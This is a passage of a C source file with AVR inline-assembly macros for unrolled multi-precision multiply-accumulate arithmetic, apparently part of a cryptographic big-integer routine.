11942 "adc r23, r1 \n\t" \
11943 "adc r24, r25 \n\t" \
11944 "ld r0, z \n\t" \
11945 "add r22, r0 \n\t" \
11946 "adc r23, r25 \n\t" \
11947 "adc r24, r25 \n\t" \
11948 "st z+, r22 \n\t" \
11949 \
11950 "ld r11, x+ \n\t" \
11951 "ldi r22, 0 \n\t" \
11952 "mul r2, r21 \n\t" \
11953 "add r23, r0 \n\t" \
11954 "adc r24, r1 \n\t" \
11955 "adc r22, r25 \n\t" \
11956 "mul r3, r20 \n\t" \
11957 "add r23, r0 \n\t" \
11958 "adc r24, r1 \n\t" \
11959 "adc r22, r25 \n\t" \
11960 "mul r4, r19 \n\t" \
11961 "add r23, r0 \n\t" \
11962 "adc r24, r1 \n\t" \
11963 "adc r22, r25 \n\t" \
11964 "mul r5, r18 \n\t" \
11965 "add r23, r0 \n\t" \
11966 "adc r24, r1 \n\t" \
11967 "adc r22, r25 \n\t" \
11968 "mul r6, r17 \n\t" \
11969 "add r23, r0 \n\t" \
11970 "adc r24, r1 \n\t" \
11971 "adc r22, r25 \n\t" \
11972 "mul r7, r16 \n\t" \
11973 "add r23, r0 \n\t" \
11974 "adc r24, r1 \n\t" \
11975 "adc r22, r25 \n\t" \
11976 "mul r8, r15 \n\t" \
11977 "add r23, r0 \n\t" \
11978 "adc r24, r1 \n\t" \
11979 "adc r22, r25 \n\t" \
11980 "mul r9, r14 \n\t" \
11981 "add r23, r0 \n\t" \
11982 "adc r24, r1 \n\t" \
11983 "adc r22, r25 \n\t" \
11984 "mul r10, r13 \n\t" \
11985 "add r23, r0 \n\t" \
11986 "adc r24, r1 \n\t" \
11987 "adc r22, r25 \n\t" \
11988 "mul r11, r12 \n\t" \
11989 "add r23, r0 \n\t" \
11990 "adc r24, r1 \n\t" \
11991 "adc r22, r25 \n\t" \
11992 "ld r0, z \n\t" \
11993 "add r23, r0 \n\t" \
11994 "adc r24, r25 \n\t" \
11995 "adc r22, r25 \n\t" \
11996 "st z+, r23 \n\t" \
11997 \
11998 "ld r2, x+ \n\t" \
11999 "ldi r23, 0 \n\t" \
12000 "mul r3, r21 \n\t" \
12001 "add r24, r0 \n\t" \
12002 "adc r22, r1 \n\t" \
12003 "adc r23, r25 \n\t" \
12004 "mul r4, r20 \n\t" \
12005 "add r24, r0 \n\t" \
12006 "adc r22, r1 \n\t" \
12007 "adc r23, r25 \n\t" \
12008 "mul r5, r19 \n\t" \
12009 "add r24, r0 \n\t" \
12010 "adc r22, r1 \n\t" \
12011 "adc r23, r25 \n\t" \
12012 "mul r6, r18 \n\t" \
12013 "add r24, r0 \n\t" \
12014 "adc r22, r1 \n\t" \
12015 "adc r23, r25 \n\t" \
12016 "mul r7, r17 \n\t" \
12017 "add r24, r0 \n\t" \
12018 "adc r22, r1 \n\t" \
12019 "adc r23, r25 \n\t" \
12020 "mul r8, r16 \n\t" \
12021 "add r24, r0 \n\t" \
12022 "adc r22, r1 \n\t" \
12023 "adc r23, r25 \n\t" \
12024 "mul r9, r15 \n\t" \
12025 "add r24, r0 \n\t" \
12026 "adc r22, r1 \n\t" \
12027 "adc r23, r25 \n\t" \
12028 "mul r10, r14 \n\t" \
12029 "add r24, r0 \n\t" \
12030 "adc r22, r1 \n\t" \
12031 "adc r23, r25 \n\t" \
12032 "mul r11, r13 \n\t" \
12033 "add r24, r0 \n\t" \
12034 "adc r22, r1 \n\t" \
12035 "adc r23, r25 \n\t" \
12036 "mul r2, r12 \n\t" \
12037 "add r24, r0 \n\t" \
12038 "adc r22, r1 \n\t" \
12039 "adc r23, r25 \n\t" \
12040 "ld r0, z \n\t" \
12041 "add r24, r0 \n\t" \
12042 "adc r22, r25 \n\t" \
12043 "adc r23, r25 \n\t" \
12044 "st z+, r24 \n\t" \
12045 \
12046 "ld r3, x+ \n\t" \
12047 "ldi r24, 0 \n\t" \
12048 "mul r4, r21 \n\t" \
12049 "add r22, r0 \n\t" \
12050 "adc r23, r1 \n\t" \
12051 "adc r24, r25 \n\t" \
12052 "mul r5, r20 \n\t" \
12053 "add r22, r0 \n\t" \
12054 "adc r23, r1 \n\t" \
12055 "adc r24, r25 \n\t" \
12056 "mul r6, r19 \n\t" \
12057 "add r22, r0 \n\t" \
12058 "adc r23, r1 \n\t" \
12059 "adc r24, r25 \n\t" \
12060 "mul r7, r18 \n\t" \
12061 "add r22, r0 \n\t" \
12062 "adc r23, r1 \n\t" \
12063 "adc r24, r25 \n\t" \
12064 "mul r8, r17 \n\t" \
12065 "add r22, r0 \n\t" \
12066 "adc r23, r1 \n\t" \
12067 "adc r24, r25 \n\t" \
12068 "mul r9, r16 \n\t" \
12069 "add r22, r0 \n\t" \
12070 "adc r23, r1 \n\t" \
12071 "adc r24, r25 \n\t" \
12072 "mul r10, r15 \n\t" \
12073 "add r22, r0 \n\t" \
12074 "adc r23, r1 \n\t" \
12075 "adc r24, r25 \n\t" \
12076 "mul r11, r14 \n\t" \
12077 "add r22, r0 \n\t" \
12078 "adc r23, r1 \n\t" \
12079 "adc r24, r25 \n\t" \
12080 "mul r2, r13 \n\t" \
12081 "add r22, r0 \n\t" \
12082 "adc r23, r1 \n\t" \
12083 "adc r24, r25 \n\t" \
12084 "mul r3, r12 \n\t" \
12085 "add r22, r0 \n\t" \
12086 "adc r23, r1 \n\t" \
12087 "adc r24, r25 \n\t" \
12088 "ld r0, z \n\t" \
12089 "add r22, r0 \n\t" \
12090 "adc r23, r25 \n\t" \
12091 "adc r24, r25 \n\t" \
12092 "st z+, r22 \n\t" \
12093 \
12094 "ld r12, y+ \n\t" \
12095 "ldi r22, 0 \n\t" \
12096 "mul r4, r12 \n\t" \
12097 "add r23, r0 \n\t" \
12098 "adc r24, r1 \n\t" \
12099 "adc r22, r25 \n\t" \
12100 "mul r5, r21 \n\t" \
12101 "add r23, r0 \n\t" \
12102 "adc r24, r1 \n\t" \
12103 "adc r22, r25 \n\t" \
12104 "mul r6, r20 \n\t" \
12105 "add r23, r0 \n\t" \
12106 "adc r24, r1 \n\t" \
12107 "adc r22, r25 \n\t" \
12108 "mul r7, r19 \n\t" \
12109 "add r23, r0 \n\t" \
12110 "adc r24, r1 \n\t" \
12111 "adc r22, r25 \n\t" \
12112 "mul r8, r18 \n\t" \
12113 "add r23, r0 \n\t" \
12114 "adc r24, r1 \n\t" \
12115 "adc r22, r25 \n\t" \
12116 "mul r9, r17 \n\t" \
12117 "add r23, r0 \n\t" \
12118 "adc r24, r1 \n\t" \
12119 "adc r22, r25 \n\t" \
12120 "mul r10, r16 \n\t" \
12121 "add r23, r0 \n\t" \
12122 "adc r24, r1 \n\t" \
12123 "adc r22, r25 \n\t" \
12124 "mul r11, r15 \n\t" \
12125 "add r23, r0 \n\t" \
12126 "adc r24, r1 \n\t" \
12127 "adc r22, r25 \n\t" \
12128 "mul r2, r14 \n\t" \
12129 "add r23, r0 \n\t" \
12130 "adc r24, r1 \n\t" \
12131 "adc r22, r25 \n\t" \
12132 "mul r3, r13 \n\t" \
12133 "add r23, r0 \n\t" \
12134 "adc r24, r1 \n\t" \
12135 "adc r22, r25 \n\t" \
12136 "ld r0, z \n\t" \
12137 "add r23, r0 \n\t" \
12138 "adc r24, r25 \n\t" \
12139 "adc r22, r25 \n\t" \
12140 "st z+, r23 \n\t" \
12141 \
12142 "ld r13, y+ \n\t" \
12143 "ldi r23, 0 \n\t" \
12144 "mul r4, r13 \n\t" \
12145 "add r24, r0 \n\t" \
12146 "adc r22, r1 \n\t" \
12147 "adc r23, r25 \n\t" \
12148 "mul r5, r12 \n\t" \
12149 "add r24, r0 \n\t" \
12150 "adc r22, r1 \n\t" \
12151 "adc r23, r25 \n\t" \
12152 "mul r6, r21 \n\t" \
12153 "add r24, r0 \n\t" \
12154 "adc r22, r1 \n\t" \
12155 "adc r23, r25 \n\t" \
12156 "mul r7, r20 \n\t" \
12157 "add r24, r0 \n\t" \
12158 "adc r22, r1 \n\t" \
12159 "adc r23, r25 \n\t" \
12160 "mul r8, r19 \n\t" \
12161 "add r24, r0 \n\t" \
12162 "adc r22, r1 \n\t" \
12163 "adc r23, r25 \n\t" \
12164 "mul r9, r18 \n\t" \
12165 "add r24, r0 \n\t" \
12166 "adc r22, r1 \n\t" \
12167 "adc r23, r25 \n\t" \
12168 "mul r10, r17 \n\t" \
12169 "add r24, r0 \n\t" \
12170 "adc r22, r1 \n\t" \
12171 "adc r23, r25 \n\t" \
12172 "mul r11, r16 \n\t" \
12173 "add r24, r0 \n\t" \
12174 "adc r22, r1 \n\t" \
12175 "adc r23, r25 \n\t" \
12176 "mul r2, r15 \n\t" \
12177 "add r24, r0 \n\t" \
12178 "adc r22, r1 \n\t" \
12179 "adc r23, r25 \n\t" \
12180 "mul r3, r14 \n\t" \
12181 "add r24, r0 \n\t" \
12182 "adc r22, r1 \n\t" \
12183 "adc r23, r25 \n\t" \
12184 "ld r0, z \n\t" \
12185 "add r24, r0 \n\t" \
12186 "adc r22, r25 \n\t" \
12187 "adc r23, r25 \n\t" \
12188 "st z+, r24 \n\t" \
12189 \
12190 "ld r14, y+ \n\t" \
12191 "ldi r24, 0 \n\t" \
12192 "mul r4, r14 \n\t" \
12193 "add r22, r0 \n\t" \
12194 "adc r23, r1 \n\t" \
12195 "adc r24, r25 \n\t" \
12196 "mul r5, r13 \n\t" \
12197 "add r22, r0 \n\t" \
12198 "adc r23, r1 \n\t" \
12199 "adc r24, r25 \n\t" \
12200 "mul r6, r12 \n\t" \
12201 "add r22, r0 \n\t" \
12202 "adc r23, r1 \n\t" \
12203 "adc r24, r25 \n\t" \
12204 "mul r7, r21 \n\t" \
12205 "add r22, r0 \n\t" \
12206 "adc r23, r1 \n\t" \
12207 "adc r24, r25 \n\t" \
12208 "mul r8, r20 \n\t" \
12209 "add r22, r0 \n\t" \
12210 "adc r23, r1 \n\t" \
12211 "adc r24, r25 \n\t" \
12212 "mul r9, r19 \n\t" \
12213 "add r22, r0 \n\t" \
12214 "adc r23, r1 \n\t" \
12215 "adc r24, r25 \n\t" \
12216 "mul r10, r18 \n\t" \
12217 "add r22, r0 \n\t" \
12218 "adc r23, r1 \n\t" \
12219 "adc r24, r25 \n\t" \
12220 "mul r11, r17 \n\t" \
12221 "add r22, r0 \n\t" \
12222 "adc r23, r1 \n\t" \
12223 "adc r24, r25 \n\t" \
12224 "mul r2, r16 \n\t" \
12225 "add r22, r0 \n\t" \
12226 "adc r23, r1 \n\t" \
12227 "adc r24, r25 \n\t" \
12228 "mul r3, r15 \n\t" \
12229 "add r22, r0 \n\t" \
12230 "adc r23, r1 \n\t" \
12231 "adc r24, r25 \n\t" \
12232 "ld r0, z \n\t" \
12233 "add r22, r0 \n\t" \
12234 "adc r23, r25 \n\t" \
12235 "adc r24, r25 \n\t" \
12236 "st z+, r22 \n\t" \
12237 \
12238 "ld r15, y+ \n\t" \
12239 "ldi r22, 0 \n\t" \
12240 "mul r4, r15 \n\t" \
12241 "add r23, r0 \n\t" \
12242 "adc r24, r1 \n\t" \
12243 "adc r22, r25 \n\t" \
12244 "mul r5, r14 \n\t" \
12245 "add r23, r0 \n\t" \
12246 "adc r24, r1 \n\t" \
12247 "adc r22, r25 \n\t" \
12248 "mul r6, r13 \n\t" \
12249 "add r23, r0 \n\t" \
12250 "adc r24, r1 \n\t" \
12251 "adc r22, r25 \n\t" \
12252 "mul r7, r12 \n\t" \
12253 "add r23, r0 \n\t" \
12254 "adc r24, r1 \n\t" \
12255 "adc r22, r25 \n\t" \
12256 "mul r8, r21 \n\t" \
12257 "add r23, r0 \n\t" \
12258 "adc r24, r1 \n\t" \
12259 "adc r22, r25 \n\t" \
12260 "mul r9, r20 \n\t" \
12261 "add r23, r0 \n\t" \
12262 "adc r24, r1 \n\t" \
12263 "adc r22, r25 \n\t" \
12264 "mul r10, r19 \n\t" \
12265 "add r23, r0 \n\t" \
12266 "adc r24, r1 \n\t" \
12267 "adc r22, r25 \n\t" \
12268 "mul r11, r18 \n\t" \
12269 "add r23, r0 \n\t" \
12270 "adc r24, r1 \n\t" \
12271 "adc r22, r25 \n\t" \
12272 "mul r2, r17 \n\t" \
12273 "add r23, r0 \n\t" \
12274 "adc r24, r1 \n\t" \
12275 "adc r22, r25 \n\t" \
12276 "mul r3, r16 \n\t" \
12277 "add r23, r0 \n\t" \
12278 "adc r24, r1 \n\t" \
12279 "adc r22, r25 \n\t" \
12280 "ld r0, z \n\t" \
12281 "add r23, r0 \n\t" \
12282 "adc r24, r25 \n\t" \
12283 "adc r22, r25 \n\t" \
12284 "st z+, r23 \n\t" \
12285 \
12286 "ld r16, y+ \n\t" \
12287 "ldi r23, 0 \n\t" \
12288 "mul r4, r16 \n\t" \
12289 "add r24, r0 \n\t" \
12290 "adc r22, r1 \n\t" \
12291 "adc r23, r25 \n\t" \
12292 "mul r5, r15 \n\t" \
12293 "add r24, r0 \n\t" \
12294 "adc r22, r1 \n\t" \
12295 "adc r23, r25 \n\t" \
12296 "mul r6, r14 \n\t" \
12297 "add r24, r0 \n\t" \
12298 "adc r22, r1 \n\t" \
12299 "adc r23, r25 \n\t" \
12300 "mul r7, r13 \n\t" \
12301 "add r24, r0 \n\t" \
12302 "adc r22, r1 \n\t" \
12303 "adc r23, r25 \n\t" \
12304 "mul r8, r12 \n\t" \
12305 "add r24, r0 \n\t" \
12306 "adc r22, r1 \n\t" \
12307 "adc r23, r25 \n\t" \
12308 "mul r9, r21 \n\t" \
12309 "add r24, r0 \n\t" \
12310 "adc r22, r1 \n\t" \
12311 "adc r23, r25 \n\t" \
12312 "mul r10, r20 \n\t" \
12313 "add r24, r0 \n\t" \
12314 "adc r22, r1 \n\t" \
12315 "adc r23, r25 \n\t" \
12316 "mul r11, r19 \n\t" \
12317 "add r24, r0 \n\t" \
12318 "adc r22, r1 \n\t" \
12319 "adc r23, r25 \n\t" \
12320 "mul r2, r18 \n\t" \
12321 "add r24, r0 \n\t" \
12322 "adc r22, r1 \n\t" \
12323 "adc r23, r25 \n\t" \
12324 "mul r3, r17 \n\t" \
12325 "add r24, r0 \n\t" \
12326 "adc r22, r1 \n\t" \
12327 "adc r23, r25 \n\t" \
12328 "ld r0, z \n\t" \
12329 "add r24, r0 \n\t" \
12330 "adc r22, r25 \n\t" \
12331 "adc r23, r25 \n\t" \
12332 "st z+, r24 \n\t" \
12333 \
12334 "ld r17, y+ \n\t" \
12335 "ldi r24, 0 \n\t" \
12336 "mul r4, r17 \n\t" \
12337 "add r22, r0 \n\t" \
12338 "adc r23, r1 \n\t" \
12339 "adc r24, r25 \n\t" \
12340 "mul r5, r16 \n\t" \
12341 "add r22, r0 \n\t" \
12342 "adc r23, r1 \n\t" \
12343 "adc r24, r25 \n\t" \
12344 "mul r6, r15 \n\t" \
12345 "add r22, r0 \n\t" \
12346 "adc r23, r1 \n\t" \
12347 "adc r24, r25 \n\t" \
12348 "mul r7, r14 \n\t" \
12349 "add r22, r0 \n\t" \
12350 "adc r23, r1 \n\t" \
12351 "adc r24, r25 \n\t" \
12352 "mul r8, r13 \n\t" \
12353 "add r22, r0 \n\t" \
12354 "adc r23, r1 \n\t" \
12355 "adc r24, r25 \n\t" \
12356 "mul r9, r12 \n\t" \
12357 "add r22, r0 \n\t" \
12358 "adc r23, r1 \n\t" \
12359 "adc r24, r25 \n\t" \
12360 "mul r10, r21 \n\t" \
12361 "add r22, r0 \n\t" \
12362 "adc r23, r1 \n\t" \
12363 "adc r24, r25 \n\t" \
12364 "mul r11, r20 \n\t" \
12365 "add r22, r0 \n\t" \
12366 "adc r23, r1 \n\t" \
12367 "adc r24, r25 \n\t" \
12368 "mul r2, r19 \n\t" \
12369 "add r22, r0 \n\t" \
12370 "adc r23, r1 \n\t" \
12371 "adc r24, r25 \n\t" \
12372 "mul r3, r18 \n\t" \
12373 "add r22, r0 \n\t" \
12374 "adc r23, r1 \n\t" \
12375 "adc r24, r25 \n\t" \
12376 "ld r0, z \n\t" \
12377 "add r22, r0 \n\t" \
12378 "adc r23, r25 \n\t" \
12379 "adc r24, r25 \n\t" \
12380 "st z+, r22 \n\t" \
12381 \
12382 "ld r18, y+ \n\t" \
12383 "ldi r22, 0 \n\t" \
12384 "mul r4, r18 \n\t" \
12385 "add r23, r0 \n\t" \
12386 "adc r24, r1 \n\t" \
12387 "adc r22, r25 \n\t" \
12388 "mul r5, r17 \n\t" \
12389 "add r23, r0 \n\t" \
12390 "adc r24, r1 \n\t" \
12391 "adc r22, r25 \n\t" \
12392 "mul r6, r16 \n\t" \
12393 "add r23, r0 \n\t" \
12394 "adc r24, r1 \n\t" \
12395 "adc r22, r25 \n\t" \
12396 "mul r7, r15 \n\t" \
12397 "add r23, r0 \n\t" \
12398 "adc r24, r1 \n\t" \
12399 "adc r22, r25 \n\t" \
12400 "mul r8, r14 \n\t" \
12401 "add r23, r0 \n\t" \
12402 "adc r24, r1 \n\t" \
12403 "adc r22, r25 \n\t" \
12404 "mul r9, r13 \n\t" \
12405 "add r23, r0 \n\t" \
12406 "adc r24, r1 \n\t" \
12407 "adc r22, r25 \n\t" \
12408 "mul r10, r12 \n\t" \
12409 "add r23, r0 \n\t" \
12410 "adc r24, r1 \n\t" \
12411 "adc r22, r25 \n\t" \
12412 "mul r11, r21 \n\t" \
12413 "add r23, r0 \n\t" \
12414 "adc r24, r1 \n\t" \
12415 "adc r22, r25 \n\t" \
12416 "mul r2, r20 \n\t" \
12417 "add r23, r0 \n\t" \
12418 "adc r24, r1 \n\t" \
12419 "adc r22, r25 \n\t" \
12420 "mul r3, r19 \n\t" \
12421 "add r23, r0 \n\t" \
12422 "adc r24, r1 \n\t" \
12423 "adc r22, r25 \n\t" \
12424 "ld r0, z \n\t" \
12425 "add r23, r0 \n\t" \
12426 "adc r24, r25 \n\t" \
12427 "adc r22, r25 \n\t" \
12428 "st z+, r23 \n\t" \
12429 \
12430 "ld r19, y+ \n\t" \
12431 "ldi r23, 0 \n\t" \
12432 "mul r4, r19 \n\t" \
12433 "add r24, r0 \n\t" \
12434 "adc r22, r1 \n\t" \
12435 "adc r23, r25 \n\t" \
12436 "mul r5, r18 \n\t" \
12437 "add r24, r0 \n\t" \
12438 "adc r22, r1 \n\t" \
12439 "adc r23, r25 \n\t" \
12440 "mul r6, r17 \n\t" \
12441 "add r24, r0 \n\t" \
12442 "adc r22, r1 \n\t" \
12443 "adc r23, r25 \n\t" \
12444 "mul r7, r16 \n\t" \
12445 "add r24, r0 \n\t" \
12446 "adc r22, r1 \n\t" \
12447 "adc r23, r25 \n\t" \
12448 "mul r8, r15 \n\t" \
12449 "add r24, r0 \n\t" \
12450 "adc r22, r1 \n\t" \
12451 "adc r23, r25 \n\t" \
12452 "mul r9, r14 \n\t" \
12453 "add r24, r0 \n\t" \
12454 "adc r22, r1 \n\t" \
12455 "adc r23, r25 \n\t" \
12456 "mul r10, r13 \n\t" \
12457 "add r24, r0 \n\t" \
12458 "adc r22, r1 \n\t" \
12459 "adc r23, r25 \n\t" \
12460 "mul r11, r12 \n\t" \
12461 "add r24, r0 \n\t" \
12462 "adc r22, r1 \n\t" \
12463 "adc r23, r25 \n\t" \
12464 "mul r2, r21 \n\t" \
12465 "add r24, r0 \n\t" \
12466 "adc r22, r1 \n\t" \
12467 "adc r23, r25 \n\t" \
12468 "mul r3, r20 \n\t" \
12469 "add r24, r0 \n\t" \
12470 "adc r22, r1 \n\t" \
12471 "adc r23, r25 \n\t" \
12472 "ld r0, z \n\t" \
12473 "add r24, r0 \n\t" \
12474 "adc r22, r25 \n\t" \
12475 "adc r23, r25 \n\t" \
12476 "st z+, r24 \n\t" \
12477 \
12478 "ld r20, y+ \n\t" \
12479 "ldi r24, 0 \n\t" \
12480 "mul r4, r20 \n\t" \
12481 "add r22, r0 \n\t" \
12482 "adc r23, r1 \n\t" \
12483 "adc r24, r25 \n\t" \
12484 "mul r5, r19 \n\t" \
12485 "add r22, r0 \n\t" \
12486 "adc r23, r1 \n\t" \
12487 "adc r24, r25 \n\t" \
12488 "mul r6, r18 \n\t" \
12489 "add r22, r0 \n\t" \
12490 "adc r23, r1 \n\t" \
12491 "adc r24, r25 \n\t" \
12492 "mul r7, r17 \n\t" \
12493 "add r22, r0 \n\t" \
12494 "adc r23, r1 \n\t" \
12495 "adc r24, r25 \n\t" \
12496 "mul r8, r16 \n\t" \
12497 "add r22, r0 \n\t" \
12498 "adc r23, r1 \n\t" \
12499 "adc r24, r25 \n\t" \
12500 "mul r9, r15 \n\t" \
12501 "add r22, r0 \n\t" \
12502 "adc r23, r1 \n\t" \
12503 "adc r24, r25 \n\t" \
12504 "mul r10, r14 \n\t" \
12505 "add r22, r0 \n\t" \
12506 "adc r23, r1 \n\t" \
12507 "adc r24, r25 \n\t" \
12508 "mul r11, r13 \n\t" \
12509 "add r22, r0 \n\t" \
12510 "adc r23, r1 \n\t" \
12511 "adc r24, r25 \n\t" \
12512 "mul r2, r12 \n\t" \
12513 "add r22, r0 \n\t" \
12514 "adc r23, r1 \n\t" \
12515 "adc r24, r25 \n\t" \
12516 "mul r3, r21 \n\t" \
12517 "add r22, r0 \n\t" \
12518 "adc r23, r1 \n\t" \
12519 "adc r24, r25 \n\t" \
12520 "ld r0, z \n\t" \
12521 "add r22, r0 \n\t" \
12522 "adc r23, r25 \n\t" \
12523 "adc r24, r25 \n\t" \
12524 "st z+, r22 \n\t" \
12525 \
12526 "ld r21, y+ \n\t" \
12527 "ldi r22, 0 \n\t" \
12528 "mul r4, r21 \n\t" \
12529 "add r23, r0 \n\t" \
12530 "adc r24, r1 \n\t" \
12531 "adc r22, r25 \n\t" \
12532 "mul r5, r20 \n\t" \
12533 "add r23, r0 \n\t" \
12534 "adc r24, r1 \n\t" \
12535 "adc r22, r25 \n\t" \
12536 "mul r6, r19 \n\t" \
12537 "add r23, r0 \n\t" \
12538 "adc r24, r1 \n\t" \
12539 "adc r22, r25 \n\t" \
12540 "mul r7, r18 \n\t" \
12541 "add r23, r0 \n\t" \
12542 "adc r24, r1 \n\t" \
12543 "adc r22, r25 \n\t" \
12544 "mul r8, r17 \n\t" \
12545 "add r23, r0 \n\t" \
12546 "adc r24, r1 \n\t" \
12547 "adc r22, r25 \n\t" \
12548 "mul r9, r16 \n\t" \
12549 "add r23, r0 \n\t" \
12550 "adc r24, r1 \n\t" \
12551 "adc r22, r25 \n\t" \
12552 "mul r10, r15 \n\t" \
12553 "add r23, r0 \n\t" \
12554 "adc r24, r1 \n\t" \
12555 "adc r22, r25 \n\t" \
12556 "mul r11, r14 \n\t" \
12557 "add r23, r0 \n\t" \
12558 "adc r24, r1 \n\t" \
12559 "adc r22, r25 \n\t" \
12560 "mul r2, r13 \n\t" \
12561 "add r23, r0 \n\t" \
12562 "adc r24, r1 \n\t" \
12563 "adc r22, r25 \n\t" \
12564 "mul r3, r12 \n\t" \
12565 "add r23, r0 \n\t" \
12566 "adc r24, r1 \n\t" \
12567 "adc r22, r25 \n\t" \
12568 "ld r0, z \n\t" \
12569 "add r23, r0 \n\t" \
12570 "adc r24, r25 \n\t" \
12571 "adc r22, r25 \n\t" \
12572 "st z+, r23 \n\t" \
12573 \
12574 "ld r12, y+ \n\t" \
12575 "ldi r23, 0 \n\t" \
12576 "mul r4, r12 \n\t" \
12577 "add r24, r0 \n\t" \
12578 "adc r22, r1 \n\t" \
12579 "adc r23, r25 \n\t" \
12580 "mul r5, r21 \n\t" \
12581 "add r24, r0 \n\t" \
12582 "adc r22, r1 \n\t" \
12583 "adc r23, r25 \n\t" \
12584 "mul r6, r20 \n\t" \
12585 "add r24, r0 \n\t" \
12586 "adc r22, r1 \n\t" \
12587 "adc r23, r25 \n\t" \
12588 "mul r7, r19 \n\t" \
12589 "add r24, r0 \n\t" \
12590 "adc r22, r1 \n\t" \
12591 "adc r23, r25 \n\t" \
12592 "mul r8, r18 \n\t" \
12593 "add r24, r0 \n\t" \
12594 "adc r22, r1 \n\t" \
12595 "adc r23, r25 \n\t" \
12596 "mul r9, r17 \n\t" \
12597 "add r24, r0 \n\t" \
12598 "adc r22, r1 \n\t" \
12599 "adc r23, r25 \n\t" \
12600 "mul r10, r16 \n\t" \
12601 "add r24, r0 \n\t" \
12602 "adc r22, r1 \n\t" \
12603 "adc r23, r25 \n\t" \
12604 "mul r11, r15 \n\t" \
12605 "add r24, r0 \n\t" \
12606 "adc r22, r1 \n\t" \
12607 "adc r23, r25 \n\t" \
12608 "mul r2, r14 \n\t" \
12609 "add r24, r0 \n\t" \
12610 "adc r22, r1 \n\t" \
12611 "adc r23, r25 \n\t" \
12612 "mul r3, r13 \n\t" \
12613 "add r24, r0 \n\t" \
12614 "adc r22, r1 \n\t" \
12615 "adc r23, r25 \n\t" \
12616 "ld r0, z \n\t" \
12617 "add r24, r0 \n\t" \
12618 "adc r22, r25 \n\t" \
12619 "adc r23, r25 \n\t" \
12620 "st z+, r24 \n\t" \
12621 \
12622 "ld r13, y+ \n\t" \
12623 "ldi r24, 0 \n\t" \
12624 "mul r4, r13 \n\t" \
12625 "add r22, r0 \n\t" \
12626 "adc r23, r1 \n\t" \
12627 "adc r24, r25 \n\t" \
12628 "mul r5, r12 \n\t" \
12629 "add r22, r0 \n\t" \
12630 "adc r23, r1 \n\t" \
12631 "adc r24, r25 \n\t" \
12632 "mul r6, r21 \n\t" \
12633 "add r22, r0 \n\t" \
12634 "adc r23, r1 \n\t" \
12635 "adc r24, r25 \n\t" \
12636 "mul r7, r20 \n\t" \
12637 "add r22, r0 \n\t" \
12638 "adc r23, r1 \n\t" \
12639 "adc r24, r25 \n\t" \
12640 "mul r8, r19 \n\t" \
12641 "add r22, r0 \n\t" \
12642 "adc r23, r1 \n\t" \
12643 "adc r24, r25 \n\t" \
12644 "mul r9, r18 \n\t" \
12645 "add r22, r0 \n\t" \
12646 "adc r23, r1 \n\t" \
12647 "adc r24, r25 \n\t" \
12648 "mul r10, r17 \n\t" \
12649 "add r22, r0 \n\t" \
12650 "adc r23, r1 \n\t" \
12651 "adc r24, r25 \n\t" \
12652 "mul r11, r16 \n\t" \
12653 "add r22, r0 \n\t" \
12654 "adc r23, r1 \n\t" \
12655 "adc r24, r25 \n\t" \
12656 "mul r2, r15 \n\t" \
12657 "add r22, r0 \n\t" \
12658 "adc r23, r1 \n\t" \
12659 "adc r24, r25 \n\t" \
12660 "mul r3, r14 \n\t" \
12661 "add r22, r0 \n\t" \
12662 "adc r23, r1 \n\t" \
12663 "adc r24, r25 \n\t" \
12664 "ld r0, z \n\t" \
12665 "add r22, r0 \n\t" \
12666 "adc r23, r25 \n\t" \
12667 "adc r24, r25 \n\t" \
12668 "st z+, r22 \n\t" \
12669 \
12670 "ld r14, y+ \n\t" \
12671 "ldi r22, 0 \n\t" \
12672 "mul r4, r14 \n\t" \
12673 "add r23, r0 \n\t" \
12674 "adc r24, r1 \n\t" \
12675 "adc r22, r25 \n\t" \
12676 "mul r5, r13 \n\t" \
12677 "add r23, r0 \n\t" \
12678 "adc r24, r1 \n\t" \
12679 "adc r22, r25 \n\t" \
12680 "mul r6, r12 \n\t" \
12681 "add r23, r0 \n\t" \
12682 "adc r24, r1 \n\t" \
12683 "adc r22, r25 \n\t" \
12684 "mul r7, r21 \n\t" \
12685 "add r23, r0 \n\t" \
12686 "adc r24, r1 \n\t" \
12687 "adc r22, r25 \n\t" \
12688 "mul r8, r20 \n\t" \
12689 "add r23, r0 \n\t" \
12690 "adc r24, r1 \n\t" \
12691 "adc r22, r25 \n\t" \
12692 "mul r9, r19 \n\t" \
12693 "add r23, r0 \n\t" \
12694 "adc r24, r1 \n\t" \
12695 "adc r22, r25 \n\t" \
12696 "mul r10, r18 \n\t" \
12697 "add r23, r0 \n\t" \
12698 "adc r24, r1 \n\t" \
12699 "adc r22, r25 \n\t" \
12700 "mul r11, r17 \n\t" \
12701 "add r23, r0 \n\t" \
12702 "adc r24, r1 \n\t" \
12703 "adc r22, r25 \n\t" \
12704 "mul r2, r16 \n\t" \
12705 "add r23, r0 \n\t" \
12706 "adc r24, r1 \n\t" \
12707 "adc r22, r25 \n\t" \
12708 "mul r3, r15 \n\t" \
12709 "add r23, r0 \n\t" \
12710 "adc r24, r1 \n\t" \
12711 "adc r22, r25 \n\t" \
12712 "ld r0, z \n\t" \
12713 "add r23, r0 \n\t" \
12714 "adc r24, r25 \n\t" \
12715 "adc r22, r25 \n\t" \
12716 "st z+, r23 \n\t" \
12717 \
12718 "ld r15, y+ \n\t" \
12719 "ldi r23, 0 \n\t" \
12720 "mul r4, r15 \n\t" \
12721 "add r24, r0 \n\t" \
12722 "adc r22, r1 \n\t" \
12723 "adc r23, r25 \n\t" \
12724 "mul r5, r14 \n\t" \
12725 "add r24, r0 \n\t" \
12726 "adc r22, r1 \n\t" \
12727 "adc r23, r25 \n\t" \
12728 "mul r6, r13 \n\t" \
12729 "add r24, r0 \n\t" \
12730 "adc r22, r1 \n\t" \
12731 "adc r23, r25 \n\t" \
12732 "mul r7, r12 \n\t" \
12733 "add r24, r0 \n\t" \
12734 "adc r22, r1 \n\t" \
12735 "adc r23, r25 \n\t" \
12736 "mul r8, r21 \n\t" \
12737 "add r24, r0 \n\t" \
12738 "adc r22, r1 \n\t" \
12739 "adc r23, r25 \n\t" \
12740 "mul r9, r20 \n\t" \
12741 "add r24, r0 \n\t" \
12742 "adc r22, r1 \n\t" \
12743 "adc r23, r25 \n\t" \
12744 "mul r10, r19 \n\t" \
12745 "add r24, r0 \n\t" \
12746 "adc r22, r1 \n\t" \
12747 "adc r23, r25 \n\t" \
12748 "mul r11, r18 \n\t" \
12749 "add r24, r0 \n\t" \
12750 "adc r22, r1 \n\t" \
12751 "adc r23, r25 \n\t" \
12752 "mul r2, r17 \n\t" \
12753 "add r24, r0 \n\t" \
12754 "adc r22, r1 \n\t" \
